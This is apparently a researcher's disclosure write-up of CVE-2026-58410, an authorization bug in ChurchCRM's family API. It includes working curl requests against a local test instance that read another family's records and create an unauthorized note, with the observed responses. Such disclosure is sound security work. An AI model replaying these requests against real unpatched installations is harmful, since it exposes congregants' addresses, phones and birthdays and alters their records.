Overview

cross-family access in churchcrm

July 3, 2026
4 min read

TL;DR

I got CVE-2026-58410 in ChurchCRM.

This one was an object-level authorization bug in family-scoped API endpoints.

A low-privileged authenticated user with EditSelf could supply another family’s familyId and access data outside their own family scope.

If the same user also had Notes permission, they could go one step further and create notes on another family’s record.

So the bug was not just read-only IDOR.

It also had an integrity side.

The bug

The affected package was:

churchcrm/crm

The vulnerable pattern was simple:

authenticated user
-> has EditSelf
-> changes familyId in the API route
-> backend loads that family by ID
-> no object-level family ownership check
-> unrelated family record is returned or modified

That breaks the meaning of EditSelf.

If a user is only allowed to access their own family record, then the route cannot trust familyId just because the request is authenticated.

Affected endpoints

The advisory lists these runtime-confirmed endpoints:

GET /api/family/{familyId}
GET /api/family/{familyId}/notes
POST /api/family/{familyId}/note
GET /api/timeline/family/{familyId}

Those are all family-scoped routes.

The problem was that the scope came from the URL parameter, not from an authorization decision tied to the current user.

Why it worked

ChurchCRM already had person-level object authorization through a canEditPerson() style check.

The family API routes did not enforce the equivalent family-level check.

So the backend answered the wrong question:

is this user authenticated and allowed to use self-edit style functionality?

Instead, it needed to answer:

is this requested familyId actually inside this user's allowed family scope?

That missing second question is the whole bug.

Repro setup

The test setup was:

  • attacker family: fam_ID = 200
  • victim family: fam_ID = 100
  • attacker user linked to family 200

Attacker permissions:

  • EditSelf = true
  • Notes = true
  • Admin = false

The attacker used their own API key in the x-api-key header.

Reading another family

The attacker could request the victim family directly:

Terminal window
curl -i \
-H 'x-api-key: attacker-key' \
'http://127.0.0.1:8080/api/family/100'

Observed result:

200 OK
victim family data returned

Expected result:

403 Forbidden

The same pattern worked for notes:

Terminal window
curl -i \
-H 'x-api-key: attacker-key' \
'http://127.0.0.1:8080/api/family/100/notes'

and for timeline data:

Terminal window
curl -i \
-H 'x-api-key: attacker-key' \
'http://127.0.0.1:8080/api/timeline/family/100'

Both should have stayed inside the attacker’s own family scope.

They did not.

Writing to another family

The more interesting part was note creation.

With Notes permission, the attacker could create a note on the victim family:

Terminal window
curl -i \
-H 'x-api-key: attacker-key' \
-H 'Content-Type: application/json' \
-X POST \
--data '{"text":"Unauthorized family note via runtime test","private":false}' \
'http://127.0.0.1:8080/api/family/100/note'

Observed result:

201 Created
note attached to victim family

That is why I do not treat this as only “someone can view another profile.”

The route also allowed modifying another family’s record.

Database proof

The unauthorized note creation was confirmed in the database:

nte_ID nte_fam_ID nte_Text nte_EnteredBy
1000 100 Victim family public note 1
1001 100 Unauthorized family note via runtime test 200

That second row is the important proof.

The attacker user from family 200 created a note attached to family 100.

So the issue was not limited to a response rendering mistake. The write happened.

Impact

A low-privileged authenticated user could access unrelated congregation records.

The exposed data could include:

  • family name
  • address
  • email
  • phone number
  • family member list
  • birthdays
  • family notes
  • timeline entries

And with note access, the same user could create notes on another family.

That makes the impact both confidentiality and integrity:

read another family's private profile and activity data
write a note onto another family's record

Why I liked it

This is the kind of bug that looks small until you line it up with the permission name.

EditSelf sounds safe.

But the API still accepted an arbitrary familyId.

Once user-controlled IDs are allowed to define the authorization boundary, “self” becomes whatever ID the attacker puts in the URL.

That is the classic IDOR shape.

Severity and versions

The public advisory lists:

  • CVE: CVE-2026-58410
  • GHSA: GHSA-jjcj-h3cm-p7x7
  • Severity: High
  • CVSS: 7.1
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
  • CWE: CWE-639
  • CWE: CWE-862
  • Affected: 7.3.3
  • Patched: 7.4.0

Reference